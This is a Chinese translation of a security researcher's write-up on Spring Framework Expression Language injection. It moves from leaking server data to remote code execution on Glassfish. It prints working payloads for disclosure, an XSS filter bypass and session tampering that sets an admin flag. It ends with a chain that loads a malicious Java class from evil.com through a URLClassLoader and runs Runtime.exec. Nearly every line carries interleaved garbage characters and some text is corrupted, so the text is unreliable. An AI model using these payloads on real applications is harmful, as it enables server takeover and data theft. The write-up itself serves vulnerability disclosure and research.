Remote Code with
5 m7 J8 K( u" H+ w# }# _2 K4 d5 tExpression Language Injection4 k# B5 |5 \( Q" Y9 l$ c
Spring Framework脆弱性—DanAmodio2 N h( ?6 b' L
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
3 f& G; U6 K# k; c, V可能会存在风险。
7 W, t) D1 c- T) s在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的- @' n( r7 l1 E& d+ F b3 K
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
8 u; I) W$ B! r# d y( @1 U' F U4 b. a以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
' a8 J+ E2 [7 Q; ]: O0 E以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前( v" H4 X! S6 j2 B- P
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。2 ^. E* s5 K0 ?) Y
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
, V2 M4 i) N' S. q我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
* E1 \$ R3 L" ~; o# n4 W" _# v本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ Q1 y' X t5 e _这些版本不支持禁用double EL resolution.9 a1 Q% G& W1 W) |
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
2 r, x# G' o' J& [EL2.2容器上可能进行远程代码执行。" _9 w" l8 L! A; V
这是一个原始信息泄露的攻击例子:
" y3 _* _- n! J3 w& r4 s请求:
# P0 Q0 l# N3 x! Gttp://vulnerable.com/foo?message=${applicationScope}
3 y* W- V4 b. o到达以下内容页面:
4 f& K, T- B" m: d7 f结果将输出一些包含内部服务器信息calsspath 和本地工作目录$ v _+ o1 z0 d S0 p6 y4 l8 W7 K, t
你也可以做一些其他事情,如这样:
8 G, J0 m2 @. `${9999+1}
K" j8 L, {* X9 {0 O还可以访问session 对象和beans5 U( g6 ?% v% t
${employee.lastName}
5 `: h @$ A$ H1 f在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
! m6 d* _& y, Y$ X$ xEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东8 @! }) m; R1 c* O8 S$ L- k4 E3 H# x
西,比如XSS.
$ a# S; W8 I, `9 M$ ~哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签; }" B6 h1 A8 L* C
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤1 _" F! y; a4 e2 K o3 A. h0 W( ^
呢?”0 Y& D+ T' y/ _) n n4 I" @; D% } A. p
因此,我尝试巳缦拢�5 _# q' e! Z% I
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
: f% T6 I" H$ J4 u' ^P
0 i+ D @2 y0 }8 Q6 d我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返' s) X$ c/ w4 F& V) q& {
回的文本被插入进了spring:message 标签。
6 Y. t0 d' E' g1 i这里是一个最终绕过过滤的实例:
. t0 M7 q- ]7 ~; F% z3 i7 d n* Zhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
/ s- f F; Z2 h! _( z. z它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
0 U& {! v \, o5 @8 C什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
# m1 e. p! t: r* e9 @经过一番研究,我学习到EL2.2 增加了方法调用。
; p: T) v5 f1 f! L我写了一个快速测试应用程序代码并且检测一些功能+ U& i8 n. i! R# r- w/ p
${pageContext.request.getSession().setAttribute(“account”,”123456″)}) H& Q; U9 T/ \/ Y8 A5 Y
${pageContext.request.getSession().setAttribute(“admin”,true)}
( U9 J) w& _- R' I: ]好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
0 F1 o; k* { {) U3 m1 U9 ~指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
* O% }: e2 z e; } B# G( F- i${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
R5 T/ @, a0 u: \) I“, 1234)}3 S8 A0 ~# P7 T( W) f
${“”.getClass().forName(“java.lang.Runtime”)}
6 Y o9 `: Z3 {2 t8 Y3 Q哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
9 W! w* V0 o6 ?) X. j0 J, |可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
5 ^" Z9 _" O- d, e数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
: m; [4 C1 Y/ H一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于: Q. L$ k) P- }& ^' Q2 P- g6 G
方法签名invoke(Object obj, Object„ args)
9 m6 v! R7 O& U0 K/ g! dJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问4 [4 L. N- `9 ~) O/ e) g- N
题,以让它可以工作起来。
+ y% f% i' p& |+ z, e: ~漏洞利用:* ^2 Z4 l0 x5 ?/ y# c5 A( `' a3 j
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
9 i: ~5 f. N% B2 t8 U2 M希望你们中的一些JAVA奇才告诉我我是如此的可笑。
) ~' S8 X& ~' Q% v4 A这里有一些我试过的失败的用例,为了试图让它工作的用例:1 n4 R) ?8 g! a) w2 o4 j0 I/ y
写文件到文件系统
: _4 U7 T u7 k1 j0 k* M 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.3 }5 B- l; X# i# `9 i" W) P
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
' V D! ~% p5 p N/ h' k# d${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}. F: u+ }4 Z: x1 T# O) f9 N
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:1 Y* Z' Y$ L- x* J
org.springframework.expression.spel.standard.SpelExpressionParser not found1 k1 b2 T" o0 i0 L6 R8 _
by
( W& o5 A" P; Z, i3 rorg.glassfish.web.javax.servlet.jsp [194].
d4 s0 ^# \" ]# H! s( M; }# I 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public5 m" L% j6 _, I
利用反射来创建一个新的Runtime(and watch the world burn)
9 {+ O) s1 d7 ?& M+ i; b: {${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName, y" ]- K- q, ^% `. n
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}" q! B3 i. Y' Y7 X0 d2 K3 H2 z
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}8 I; n7 f" D2 z, q
使用java.lang.ProcessBuilder5 G- i2 Q2 ]% u: t( _
用表达式语言来评估表达式语言
( J7 ` D4 ?. ?+ g+ B( v4 eExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.5 y9 g* C, F7 Y \& w
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request# ~2 s/ A7 Z6 y; \- }" @
“,”".getClass(),null)}8 G% S7 ~ J5 M9 f! O
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)$ i4 t6 j8 h$ s, a% _
我在使用一个空数组通过Method.invoke()时失败了很多次
3 n. ^6 r5 D0 _% ~) w8 t0 j# J* A“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo4 S5 `2 w( g' S4 z- w
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
& b0 L" _$ @7 G7 GrrayList”).newInstance().toArray())3 m9 m2 Y X9 ?
java.lang.IllegalArgumentException: wrong number of arguments7 w1 ?; p) Q& e& S8 ]) N- d! c
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
( c4 k6 C$ a: Z- g. L w1 g以创建一个恶意class文件并且指向类装载器.
- k0 p/ V' U" ^我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行: ]4 c6 X. G' G& F4 }2 I& i
public class Malicious {
' ~; i: B7 `$ I: q" f' x1 apublic Malicious() {
" S3 X5 ~( B; J& i+ i" Mtry {
" }, {/ ^- W6 P0 Z; W1 ojava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac4 m0 l! h2 E7 K: ~. F. G: |; @6 d; Y
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win2 V7 u+ {: B; \+ P, k2 C. N
} catch (Exception e) {
7 r; Q/ F/ a9 h& R( V) u3 C! G}) v+ ]! s" v4 Q5 F9 I8 ]1 Y+ l
}" H3 u4 T% p+ ]! H( c
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
u" j0 k, O& I+ s. H* B$ T话中,因此它可以被使用.+ C' ?- i* [) |3 D7 G% t* F
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName8 Q$ M7 a9 O0 r/ `6 b$ y# [
(“java.util.ArrayList”).newInstance())}
" U4 _, l9 }0 Q0 CURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建% E$ B( c) A* {0 \8 [* w
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
( X" o s5 ~& x( q5 ]7 ugetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个8 ^4 g0 M' h: C- n: B' u+ F/ E
我们可以调用的create(string)方法,然后转换对一个URL对象。; Z" p( {6 g6 h; @/ t
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
( V+ x: c q- {; I& Bere/malicious/classfile/is/located/”).toURL())}
" d+ B u' F* v; d5 v4 q然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,/ L& u! v8 Y) ^4 g' J# Z
恶意类文件被装载并创建,触发远程代码.( Y( m% r9 W2 i
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
+ E/ Z3 j5 P% ~' ~# a( Y" o; ext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass(). i! d# `3 \8 c' ?3 j
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance7 E1 I3 j, B- F! W* I% u
()} |